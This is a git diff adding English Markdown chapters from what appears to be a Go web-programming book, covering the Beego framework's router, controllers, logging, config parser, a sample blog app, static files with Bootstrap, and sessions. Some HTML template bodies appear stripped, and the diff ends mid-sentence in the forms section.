apps, routing rules can become repetitive and cumbersome. Personally, I've developed simple web APIs composed of nearly thirty routing rules when in fact, these rules could have been further simplified using method structs. + +The Beego framework's router is designed to overcome these limitations, taking the REST paradigm into consideration and simplifying the storing and forwarding of routes and requests. + +### Storing routes + +To address the first limitation of the default router, we need to be able to support dynamic URL parameters. For the second and third points, we adopt an alternative approach,mapping REST methods to struct methods and routing requests to this struct instead handler functions. This way, a forwarded request can be handled according to their HTTP method. + +Based on the above ideas, we've designed two data types: `controllerInfo`, which saves the path and the corresponding `controllerType` struct as a `reflect.Type` type, and `ControllerRegistor`, which saves routing information for the specified Beego application. + + type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type + } + + type ControllerRegistor struct { + routers []*controllerInfo + Application *App + } + +ControllerRegistor's external interface contains the following method: + + func(p *ControllerRegistor) Add(pattern string, c ControllerInterface) + +Its detailed implementation is as follows: + + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the default expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. Then compile the regex. + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + + } + +### Static routing + +We've implemented dynamic routing in our example above. By default, Go's `http` package supports serving static files with `http.FileServer`, which return a `Handler`. Since we have implemented a custom router, we will also need a way of handling static files. Beego's static folder path is saved in a global variable called `StaticDir`, which maps URL to corresponding paths. The `SetStaticPath`'s implementation can be seen below: + + func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app + } + +The application's static routes can be set like so: + + beego.SetStaticPath("/img", "/static/img") + +### Forwarding routes + +We can forward routes based on the forwarding information contained within `ControllerRegistor`. The detailed implementation can be seen in the following code snippet: + + // AutoRoute + func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } + } + +### Getting started + +Using our router design, we can solve the three limitations mentioned earlier. The three main use-cases are: + +Registering route handlers: + + beego.BeeApp.RegisterController("/", &controllers.MainController{}) + +Handling dynamic parameters: + + beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) + +Regex matching: + + beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) + +## Links + +- [Directory](preface.md) +- Previous section: [Project planning](13.1.md) +- Next section: [Designing controllers](13.3.md) diff --git a/de/13.3.md b/de/13.3.md new file mode 100644 index 00000000..2b01eab0 --- /dev/null +++ b/de/13.3.md @@ -0,0 +1,167 @@ +# 13.3 Designing controllers + +Most traditional MVC frameworks are based on suffix action mapping. Nowadays, the REST style web architecture is becoming increasingly popular. One can implement REST-style URLs by filtering or rewriting them, but why not just design a new REST-style MVC framework instead? This section is based on this idea, and focusses on designing and implementing a controller based, REST-style MVC framework from scratch. Our goal is to simplify the development of web applications, perhaps even allowing us to write a single line of code capable of serving "Hello, world". + +## The controller's role + +The MVC design pattern is currently the most used framework model for web applications. By keeping Models, Views and Controllers separated, we can keep our web applications modular, maintainable, testable and extensible. A model encapsulates data and any of the business logic that governs that data, such as accessibility rules, persistence, validation, etc. Views serve as the data's representation and in the case of web applications, they usually live as templates which are then rendered into HTML and served. Controllers serve as the "glue" logic between Models and Views and typically have methods for handling different URLs. As described in the previous section, when a URL request is forwarded to a controller by the router, the controller delegates commands to the Model to perform some action, then notifies the View of any changes. In certain cases, there is no need for models to perform any kind of logical or data processing, or for any views to be rendered. For instance, in the case of an HTTP 302 redirect, no view needs to be rendered and no processing needs to be performed by the Model, however the Controller's job is still essential. + +## RESTful design in Beego + +The previous section describes registering route handlers with RESTful structs. Now, we need to design the base class for a logic controller that will be composed of two parts: a struct and interface type. + + type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string + } + + type ControllerInterface interface { + Init(ct *Context, cn string) //Initialize the context and subclass name + Prepare() //some processing before execution begins + Get() //method = GET processing + Post() //method = POST processing + Delete() //method = DELETE processing + Put() //method = PUT handling + Head() //method = HEAD processing + Patch() //method = PATCH treatment + Options() //method = OPTIONS processing + Finish() //executed after completion of treatment + Render() error //method executed after the corresponding method to render the page + } + +Then add the route handling function described earlier in this chapter. When a route is defined to be a `ControllerInterface` type, so long as we can implement this interface, we can have access to the following methods of our base class controller. + + func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" + } + + func (c *Controller) Prepare() { + + } + + func (c *Controller) Finish() { + + } + + func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil + } + + func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) + } + +Above, the controller base class already implements the functions defined in the interface. Through our routing rules, the request will be routed to the appropriate controller which will in turn execute the following methods: + + Init() initialization routine + Prepare() pre-initialization routine; each inheritting subclass may implement this function + method() depending on the request method, perform different functions: GET, POST, PUT, HEAD, etc. Subclasses should implement these functions; if not implemented, then the default is 403 + Render() optional method. Determine whether or not to execute according to the global variable "AutoRender" + Finish() is executed after the action been completed. Each inheritting subclass may implement this function + +## Application guide + +Above, we've just finished discussing Beego's implementation of the base controller class. We can now use this information to design our request handling, inheriting from the base class and implementing the necessary methods in our own controller. + + package controllers + + import ( + "github.com/astaxie/beego" + ) + + type MainController struct { + beego.Controller + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +In the code above, we've implemented a subclass of `Controller` called `MainController` which only implements the `Get()` method. If a user tries to access the resource using any of the other HTTP methods (POST, HEAD, etc), a 403 Forbidden will be returned. However, if a user submits a GET request to the resource and we have have the `AutoRender` variable set to `true`, the resource's controller will automatically call its `Render()` function, rendering the corresponding template and responding with the following: + +![](images/13.4.beego.png?raw=true) + +The `index.tpl` code can be seen below; as you can see, parsing model data into a template is quite simple: + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + + +## Links + +- [Directory](preface.md) +- Previous section: [Customizing routers](13.2.md) +- Next section: [Logs and configurations](13.4.md) diff --git a/de/13.4.md b/de/13.4.md new file mode 100644 index 00000000..cfa68916 --- /dev/null +++ b/de/13.4.md @@ -0,0 +1,252 @@ +# 13.4 Logging and configuration + +## The importance of logging and configuration + +Previously in the book, we saw that event logging plays a very important role in application development. With adequate logging, we can record crucial information that can later be dissected for debugging and optimization purposes. In the section where we looked at the seelog logging utility, we saw that it had settings for various log level gradations, which can be essential for program development and deployment; we can set the logging level lower in a development environment, while setting it high in production so that we can mask extraneous information when we are trying to debug our application. + +Setting up server configuration module for deploying an application involves a number of different server settings. For example, we typically need to provide information regarding database configuration, listening ports, etc., via the configuration file. Setting up a centralized configuration file allows us the flexibility of deploying on different machines and connecting to remote databases, if needed. + +## The Beego logging system + +The Beego logger's design borrows ideas from seelog provides similar functionality in terms of setting logging levels. Beego's system is, however, more lightweight and makes use of the Go's `log.Logger` interface. By default, logs are outputted to os.Stdout, but users can implement this interface through `beego.SetLogger` to customize this. A detailed example of an implemented interface can be seen below: + + // Log levels for controlling the logging output. + const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical + ) + + // logLevel controls the global log level used by the logger. + var level = LevelTrace + + // LogLevel returns the global log level and can be used in + // a custom implementations of the logger interface. + func Level() int { + return level + } + + // SetLogLevel sets the global log level used by the simple + // logger. + func SetLevel(l int) { + level = l + } + +This section implements the above log grading system. The default level is set to Trace and users can customize grading levels using `SetLevel`. + + // logger references the used application logger. + var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + + // SetLogger sets a new logger. + func SetLogger(l *log.Logger) { + BeeLogger = l + } + + // Trace logs a message at trace level. + func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) + } + } + + // Debug logs a message at debug level. + func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) + } + } + + // Info logs a message at info level. + func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) + } + } + + // Warning logs a message at warning level. + func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) + } + } + + // Error logs a message at error level. + func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) + } + } + + // Critical logs a message at critical level. + func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) + } + } + +The code snippet above initializes a `BeeLogger` object by default, outputting logs to `os.Stdout`. As mentioned, users can implement `beego.SetLogger` to customize the logger's output. `BeeLogger` implements six functions: + +- Trace (record general information, for example:) + - "Entered parse function validation block" + - "Validation: entered second 'if'" + - "Dictionary 'Dict' is empty. Using default value" +- Debug (debugging information, for example:) + - "Web page requested: http://somesite.com Params = '...'" + - "Response generated. Response size: 10000. Sending." + - "New file received. Type: PNG Size: 20000" +- Info (printing general information, for example:) + - "Web server restarted" + - "Hourly statistics: Requested pages: 12345 Errors: 123..." + - "Service paused. Waiting for 'resume' call" +- Warn (warning messages, for example:) + - "Cache corrupted for file = 'test.file'. Reading from back-end" + - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" + - "No response from statistics server. Statistics not sent" +- Error (error messages, for example:) + - "Internal error. Cannot process request# 12345 Error:...." + - "Cannot perform login: credentials DB not responding" +- Critical (fatal errors, for example:) + - "Critical panic received:.... Shutting down" + - "Fatal error:... App is shutting down to prevent data corruption or loss" + +You can see that each of these levels has a specific purpose. For instance if we set the logging level to Warn (`level=LevelWarning`), at the time of deployment, all of the lower level logs (Trace, Debug, Info) will not output anything. + +## Beego configuration design + +For processing configuration information, Beego implements a key=value file parser which reads information formatted similarly to `ini` configuration files. The parser reads the configuration data and saves it to a map. Finally, it calls several functions for retrieving the value's datatype (int, string, etc). The detailed implementation can be seen below: + +Define some global constants for the `ini` configuration file: + + var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} + ) + +Defines the format of the configuration file: + + // A Config represents the configuration. + type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex + } + + +Defines a function for parsing the file. The process begins by opening the file, then reading it line by line and parsing comments, blank lines and key=value data: + + // ParseFile creates a new Config and parses the file configuration from the + // named file. + func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break + } + if bytes.Equal(line, bEmpty) { + continue + } + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue + } + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off + } + return cfg, nil + } + +Below are a number of functions the parser uses for reading the configuration file. The return value is determined as either a bool, int, float64 or string: + + // Bool returns the boolean value for a given key. + func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) + } + + // Int returns the integer value for a given key. + func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) + } + + // Float returns the float value for a given key. + func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) + } + + // String returns the string value for a given key. + func (c *Config) String(key string) string { + return c.data[key] + } + +## Application guide + +The following function is an example of an application I used to fetch json data from a remote url address: + + func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } + } + +Beego's `Critical()` logging function is called to report any errors which may occur in the `GetJson()` function. `beego.AppConfig.String("url")` is used to obtain information from a configuration file (typically `app.conf`), which might look something like the following: + + appname = hs + url ="http://www.api.com/api.html" + +## Links + +- [Directory](preface.md) +- Previous section: [Designing controllers](13.3.md) +- Next section: [Adding, deleting and updating blogs](13.5.md) diff --git a/de/13.5.md b/de/13.5.md new file mode 100644 index 00000000..fa086c64 --- /dev/null +++ b/de/13.5.md @@ -0,0 +1,295 @@ +# 13.5 Adding, deleting and updating blogs + +We've already introduced the entire concept behind the Beego framework through examples and pseudo-code. This section will describe how to implement a blogging system using Beego, including the ability to browse, add, modify and delete blog posts. + +## Blog directory + +Our blog's directory structure can be seen below: + +``` +/main.go +/views: + /view.tpl + /new.tpl + /layout.tpl + /index.tpl + /edit.tpl +/models/model.go +/controllers: + /index.go + /view.go + /new.go + /delete.go + /edit.go +``` + + +## Blog routing + +Our blog's main routing rules are as follows: + +``` +//Show blog Home +beego.RegisterController("/", &controllers.IndexController{}) +//View blog details +beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{}) +//Create blog Bowen +beego.RegisterController("/new", &controllers.NewController{}) +//Delete Bowen +beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{}) +//Edit Bowen +beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{}) +``` + + +## Database structure + +A trivial database table to store basic blog information: + +``` +CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) +); +``` + +## Controller + +IndexController: + +``` +type IndexController struct { + beego.Controller +} + +func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplNames = "index.tpl" +} +``` + + +ViewController: + +``` +type ViewController struct { + beego.Controller +} + +func (this *ViewController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "view.tpl" +} +``` + + +NewController + + +``` +type NewController struct { + beego.Controller +} + +func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" +} + +func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` + + +EditController + +``` +type EditController struct { + beego.Controller +} + +func (this *EditController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" +} + +func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` + +DeleteController + +``` +type DeleteController struct { + beego.Controller +} + +func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.DelBlog(id) + this.Ctx.Redirect(302, "/") +} +``` + +## Model layer + +``` +package models + +import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" +) + +type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time +} + +func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + return orm +} + +func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return +} + +func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return +} + +func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg +} + +func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return +} +``` + +## View layer + +layout.tpl + +``` + + + My Blog + + + + + + +{{.LayoutContent}} + + + +``` + +index.tpl + +``` +

Blog posts

+ + +``` + +view.tpl + +``` +

{{.Post.Title}}

+{{.Post.Created}}
+ +{{.Post.Content}} +``` + +new.tpl + +``` +

New Blog Post

+
+Title:
+Content + +
+``` + +edit.tpl + +``` +

Edit {{.Post.Title}}

+ +

New Blog Post

+
+Title:
+Content + + +
+``` + +## Links + +- [Directory](preface.md) +- Previous section: [Logs and configurations](13.4.md) +- Next section: [Summary](13.6.md) diff --git a/de/13.6.md b/de/13.6.md new file mode 100644 index 00000000..03c8fb56 --- /dev/null +++ b/de/13.6.md @@ -0,0 +1,10 @@ +# 13.6 Summary + + +In this chapter, we described how to implement the major components of a Go web framework. We first designed a router to make up for some of shortcomings in Go's built-in `http` package, creating a router capable of dynamic routing and REST support. We also designed our own RESTful Controller class in accord with the principles of MVC, borrowing ideas from frameworks such as Tornado. Next, we designed and implemented a template layout and automated rendering system, mainly using Go's built-in templating engine. We then implemented a custom logger and talked about framework configuration to allow for flexible application deployment. Through this process, we have implemented a basic web framework called Beego which, at present, has been open-sourced on Github. Lastly, we implemented a simple blogging application on top of Beego. After having gone through all of these examples, you will hopefully have learned how to quickly develop websites in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Add, delete and update blogs](13.5.md) +- Next chapter: [Develop web framework](14.0.md) diff --git a/de/14.0.md b/de/14.0.md new file mode 100644 index 00000000..fffb5289 --- /dev/null +++ b/de/14.0.md @@ -0,0 +1,11 @@ +# 14 Developing a web framework + +Chapter 13 described how to develop a web framework in Go. We introduced the MVC architecture, a routing and logging system system, and we also looked at simple server configuration. These are the basic building blocks of most frameworks, and it's a good start. However, for more sophisticated needs, some auxiliary tools are needed to facilitate rapid website development. In this chapter, we will provide some quick tips and tools for speeding up development. The first section will cover the how-to's how processing static files and we will be using Twitter's open source CSS and Javascript framework called Bootstrap for beautifying our website. The second section describes how to use the previously describe sessions for user login processing. Next, the third section describes how to generate forms, and how to process these forms for valid data. We will also talk about how to bind models for CRUD operations. In section 4, we'll describe how to perform some user authentication including basic HTTP authentication and HTTP digest authentication. Finally, the last section will talk about implementing the previously described i18n, to support multi-lingual web applications. + +By extending Beego in this chapter, we will be able to rapidly develop full stack web applications. Of course, we'll go through the features of these extensions step by step, applying them to the blogging system we developed in Chapter 13. Through the development of a complete and beautiful blogging system, users will hopefully be able to see how Beego can help to boost developer productivity. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 13 summary](13.6.md) +- Next section: [Static files](14.1.md) diff --git a/de/14.1.md b/de/14.1.md new file mode 100644 index 00000000..c3e20f95 --- /dev/null +++ b/de/14.1.md @@ -0,0 +1,79 @@ +# 14.1 Static files + +We've already talked about how to deal with static files in previous sections. Now, let's look at how to set up and use static files inside of Beego. Then, through introducing Twitter's open source HTML and CSS framework Bootstrap, we'll be able quickly create beautiful looking websites without having to do much design work.o + +## Beego static files and settings + +Go's `net/http` package provides a static file server with functions such as `ServeFile` and `FileServer`. Beego's static file handling is based on this layer, and its specific implementation is as follow: + + //static file server + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } + } + +`StaticDir` stores the URL which corresponds to a static file directory, so when handling requests, we simply need to determine whether or not the URL begins with a static file path. If so, we can simply respond using `http.ServeFile`. + +The following is an example: + + beego.StaticDir["/asset"] = "/static" + +Then, a request with a URL such as `http://www.beego.me/asset/bootstrap.css` will result in `/static/bootstrap.css` being served to the client. + +## Bootstrap integration + +Bootstrap is a Twitter launched open source Toolkit for front-end development. For developers, Bootstrap is one of the best front end kits for rapid Web application development. It is a collection of HTML, CSS and javascript components, using the latest HTML5 standards. These include a responsive grid, forms, buttons, tables, and many other useful things. + +- Components +Bootstrap contains a wealth of Web components. Using these components, you can quickly build a beautiful, fully functional website. Which includes the following components: +Pull-down menus, button groups, button drop-down menus, navigation, navigation bars, bread crumbs, pagination, layout, thumbnails, warning dialogs, progress bars, and other media objects +- JavaScript plugins +Bootstrap comes with 13 jQuery plug-ins for Bootstrap components, which gives them "life". These include: +Modal dialogs, tabs, scroll bars, pop-up boxes and so on. +- Bootstrap framework customization +All Bootstrap css variables can be modified according to your needs + +![](images/14.1.bootstrap.png?raw=true) + +Figure 14.1 a bootstrap website + +Next, let's see how we can use Bootstrap inside our Beego application to quickly create a beautiful website: + +1. First, let's download the bootstrap directory into our project's static directory, as shown in the following screenshot: + + ![](images/14.1.bootstrap2.png?raw=true) + + Figure 14.2 Project static file directory structure + +2. Because Beego sets a default value for `StaticDir`, if your static files directory is `static`, then you need not go any further: + + StaticDir["/static"] = "static" + +3. Our templates use the following asset paths: + + // css file + + + // js file + + + // Picture files + + +With the above code, we are integrating Bootstrap into our Beego application. The figure below demonstrates the rendered page: + +![](images/14.1.bootstrap3.png?raw=true) + +Figure 14.3 website integrated with Bootstrap + +These templates and formats are come shipped with Bootstrap so we won't repeat the complete code here, however you can take a look at the project's official page to learn how to write your own templates. + +## Links + +- [Directory](preface.md) +- Previous section: [Developing a web framework](14.0.md) +- Next section: [Sessions](14.2.md) diff --git a/de/14.2.md b/de/14.2.md new file mode 100644 index 00000000..15d38f5c --- /dev/null +++ b/de/14.2.md @@ -0,0 +1,107 @@ +# 14.2 Sessions + +In chapter 6, we introduced some basic concepts pertaining to sessions in Go, and we implemented a sessions manager. The Beego framework uses this session manager to implement some convenient session handling functionality. + +## Integrating sessions + +Beego handles sessions mainly according to the following global variables: + + // related to session + SessionOn bool // whether or not to open the session module. Defaults to false. + SessionProvider string // the desired session backend processing module. Defaults to an in-memory sessionManager + SessionName string // the name of the client saved cookies + SessionGCMaxLifetime int64 // cookie validity + + GlobalSessions *session.Manager// global session controller + +Of course, the above values of these variables need to be initialized. You can also use the values from the following configuration file code to set these values: + + if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false + } else { + SessionOn = ar + } + if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" + } else { + SessionProvider = ar + } + if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" + } else { + SessionName = ar + } + if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val + } else { + SessionGCMaxLifetime = 3600 + } + +Add the following code in the `beego.Run` function: + + if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() + } + +As long as `SessionOn` is set to true, it will open the session by default with an independent goroutine session handler + +In order to facilitate our custom Controller quickly using session, the author `beego.Controller` provides the following methods: + +To assist us in quickly using sessions in a custom Controller, `beego.Controller` provides the following method: + + func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return + } + +## Using sessions + +From the code above, we can see that the Beego framework simply inherits its session functionality. So, how do we use it in our projects? + +First of all, we need to open the session at the entry point of our application. + + beego.SessionOn = true + +We can then use the corresponding session method inside our controller like so: + + func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" + } + +The code above shows how to use sessions in the controller logic. The process can be divided into two steps: + +1. Getting session object + + // Get the object, similar in PHP session_start() + sess:= this.StartSession() + +2. Using the session for general operations + + // Get the session values , similar in PHP $ _SESSION ["count"] + sess.Get("count") + + // Set the session value + sess.Set("count", intcount) + +As you can see, applications based on the Beego framework can easily implement sessions. The process is very similar to calling `session_start()` in PHP applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Static files](14.1.md) +- Next section: [Forms](14.3.md) diff --git a/de/14.3.md b/de/14.3.md new file mode 100644 index 00000000..67ce5f5f --- /dev/null +++ b/de/14.3.md @@ -0,0 +1,356 @@ +# 14.3 Forms + +In web development, the following workflow will probably look quite familiar: + +- Open a web page showing a form +- Users fill out and submit the form +- If a user submits some invalid information or has neglected to fill out a required field, the form will be returned to the user (along with the filled in data) with some descriptive information about the problem. +- Users re-fill the invalid fields and continue attempting to submit the form until it's accepted + +At the receiving end, the script must: + +- Check the user submitted form data. +- Verify whether the data is the correct type and of the appropriate standard. For example, if a username is submitted, it must verify that it contains only valid characters. Other examples would be checking for minimum and maximum lengths, username uniqueness, and so on. +- Filtering data and cleaning up unsafe characters to guarantee that our application only processes data which is safe. +- If necessary, pre-format the data (or data gaps need to be cleared through the HTML coding and so on.) +- Prepare the data for insertion into the database + +Although the procedure is not very complex, it usually requires a lot of boilerplate. In addition, web applications often use a variety of different control structures to display error messages on returned pages. Implementing form validation is a simple but boring task. + +## Forms and validation + +For developers, the general development process can be quite complex, but it's mostly repetitive work. Suppose a scenario arises where you suddenly need to add a form to your project, causing you to rewrite all of the local code tied in with the form. We know that `structs` are a very commonly used data structure in Go, and Beego uses them to its advantage for processing form information. + +First, we define a `struct` with fields corresponding to the fields in our form element. We can use `struct` tags which map to the form element, as shown below: + +First define a struct that corresponds to when developing Web applications, 